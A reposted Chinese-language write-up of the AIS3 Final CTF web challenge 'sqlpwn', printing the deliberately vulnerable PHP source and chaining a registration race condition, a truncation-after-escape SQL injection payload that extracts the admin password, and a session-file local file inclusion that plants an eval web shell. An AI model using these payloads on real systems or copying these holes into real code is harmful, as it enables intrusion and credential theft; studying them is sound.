转载自:AIS3 Final CTF Web Writeup (Race Condition & one-byte off SQL Injection)

一道纯代码审计的题目,方法很猥琐,脑洞大开,也有实战意义。(想起 XDCTF 2015 上 phith0n 牛出的代码审计题目…… 跪了)

先贴代码:

<?php
/*
    sqlpwn by orange
    Don't brute force or you will be banned !
*/

session_start();
error_reporting(0);

include "template.html";
include "config.php";
$conn = mysql_connect($dbhost, $dbuser, $dbpass);
mysql_select_db($dbname);
mysql_query("SET sql_mode='strict_all_tables'");

function check_login(){
    if ( !isset($_SESSION['name']) ){
        exit('not login');
    }
}

function escape($str){
    $str = mysql_real_escape_string($str);
    return $str;
}

$mode = $_GET['mode'];
if ( $mode == 'admin' ){
    check_login();
    if ( $_SESSION['admin'] != 1 ){
        exit('not admin');
    }

    include getcwd() . '/' . $_GET['boom'] . "php";

} else if ( $mode == 'post' ){
    check_login();

    $name = $_SESSION['name'];
    $titl = $_POST['title'];
    $note = $_POST['note'];
    

    $note = trim(escape($note));
    $titl = trim(escape($titl));

    if ( strlen($note) < 6 ){
        exit('para error');
    }
    if ( strlen($titl) < 6 ){
        exit('para error');
    }

    if ( strlen($note) > 128 ){
        $note = substr($note, 0, 128);
    }
    if ( strlen($titl) > 32 ){
        $titl = substr($titl, 0, 32);
    }

    mysql_query(sprintf("INSERT INTO notes(name, title, note) VALUES('%s', '%s', '%s')", $name, $titl, $note));

    echo 'ok';


} else if ( $mode == 'show' ){
    check_login();

    $id = (int)$_GET['id'];
    $r = mysql_query(sprintf("SELECT * FROM notes WHERE id='%d'", $id));
    if ( mysql_num_rows($r) == 0 ){
        exit('id not found');
    } 

    $result = mysql_fetch_object($r);
    if ( $result->name !== $_SESSION['name'] ){
        exit('not posted by you');
    }

    $name = $_SESSION['name'];
    $titl = $result->title;
    $note = $result->note;

    echo "title " . $titl;
    echo "<br>";
    echo "note " . $note;

    exit();

} else if ( $mode == 'register' ) {
    $name = $_POST['name'];
    $pass = $_POST['pass'];

    $name = trim( escape( $name ) );
    $pass = trim( escape( $pass ) );
    if ( strlen($name) < 6 ){
        exit('para error');
    }
    if ( strlen($pass) < 6 ){
        exit('para error');
    }

    $r = mysql_query(sprintf("SELECT * FROM users WHERE name='%s'", $name));
    if ( mysql_num_rows($r) > 0 ){
        exit('duplicated');
    }

    $sql = sprintf("INSERT INTO users(name, pass) VALUES('%s', '%s')", $name, md5($pass));
    mysql_query($sql);

    $sql = sprintf("INSERT INTO locks(name) VALUES('%s')", $name);
    mysql_query($sql);

    echo 'ok';


} else if ( $mode == 'login' ) {
    $name = $_POST['name'];
    $pass = $_POST['pass'];

    $name = trim( escape( $name ) );
    $pass = trim( escape( $pass ) );

    $r = mysql_query(sprintf("SELECT * FROM users WHERE name='%s'", $name));
    if ( mysql_num_rows($r) == 0 ){
        exit('user not found');
    }
    
    $result = mysql_fetch_object($r);
    if ( $result->pass !== md5($pass) ){
        exit('pass incorrect');
    }

    $r = mysql_query(sprintf("SELECT * FROM locks WHERE name='%s'", $name));
    if ( mysql_num_rows($r) > 0 ){
        exit('user locked');
    } 

    $_SESSION['id']   = $result->id;
    $_SESSION['name'] = $result->name;
    $_SESSION['pass'] = $result->pass;

    if ( $name == 'orange' ){
        $_SESSION['admin'] = 1;
    }

    echo 'ok';

} else if ( $mode == 'info' ){
    phpinfo();

} else if ( $mode == 'flag' ){
    check_login();
    echo $flag;

} else {

    // I am always on your top >/////<
    $r = mysql_query(sprintf("SELECT * FROM notes WHERE name='orange' UNION SELECT * FROM notes ORDER BY id DESC LIMIT 100"));
    while ($row = mysql_fetch_object($r)) {
        $id   = $row->id;
        $titl = $row->title;

        echo sprintf("<li><a href='./sqlpwn.php?mode=show&id=%d'>%s</a></li>\n", $id, $titl);
        echo "<br>";
    }
}

漏洞一 Race Condition

预设注册的使用者都是会被放进 locks 表中锁起来的,
但是只要在注册中,帐号尚未被新增进 locks 表时(111 & 112行)马上登录的话,
登录检查是否被锁住的限制就可以绕过了!

漏洞二 one-byte off SQL Injection

当成功登入后可以新增 note 并且可以看到自己新增的 note,
漏洞发生在第58行,当 note 的标题太长为了页面美观会进行截断的动作,只限制前32个字显示在页面上,
这时候因为对 SQL Injection 防护是使用 escape 的方式防护,单引号(')会被反斜线escape成(\'),但是如果精心设计一个长度正确的payload就可以让防护刚好被绕过造成后面的SQL语句跟前方连在一起:

Payload

POST
title=phddaaphddaaphddaaphddaaphddaa_\
&note=,(select pass from users where name=0x6f72616e6765)#

phddaaphddaaphddaaphddaaphddaa_\(32个字长)会被escape成 phddaaphddaaphddaaphddaaphddaa_\\(33个字长)。
此时踩到超过32长的限制(57 & 58行),并进行截断成 phddaaphddaaphddaaphddaaphddaa_\
导致原本的防护被绕过,使得原本被括起来后面的单引号被 escape 原本的SQL语句就变成字符串了。

用这个方法就可以成功在 INSERT 语法中进行 SQL Injection 并在自己的 note 中看到数据,取得管理员密码后即可变身成管理员。
顺道一提这个思路在 Discuz 7.2 去年还是前年被爆出的 SQL Injection 中有类似的思路。

漏洞三 Local File Inclusion with PHP session

由于 include 前面不可控,所以不能使用 php://filter 或是 zip:// phar:// 等协议,而后面有 php 的后缀也不能使用 LFI with PHPINFO 的招数。

不过在 PHP 中 SESSION 预设存在 /var/lib/php5/sess_*
例如 Cookie: PHPSESSID=123php 会产生 var/lib/php5/sess_123php 的文件。
在可以伪造 $_SESSION 内容的时候其实就代表可以产生一个部分内容可控,部分文件名可控的档案,这时候在使用 LFI 去包含他就可以产生一个 shell 了。

Payload

sqlpwn.php?mode=admin
&boom=../../../../var/lib/php5/sess_123

如此一来可以透过第一个漏洞注册一个使用者名称为 <?php eval($_POST[ccc]); ?> 的用户,
之后登入时指定 PHPSESSID 为 php 结尾,再利用所产生的 session file 进行 include 的动作。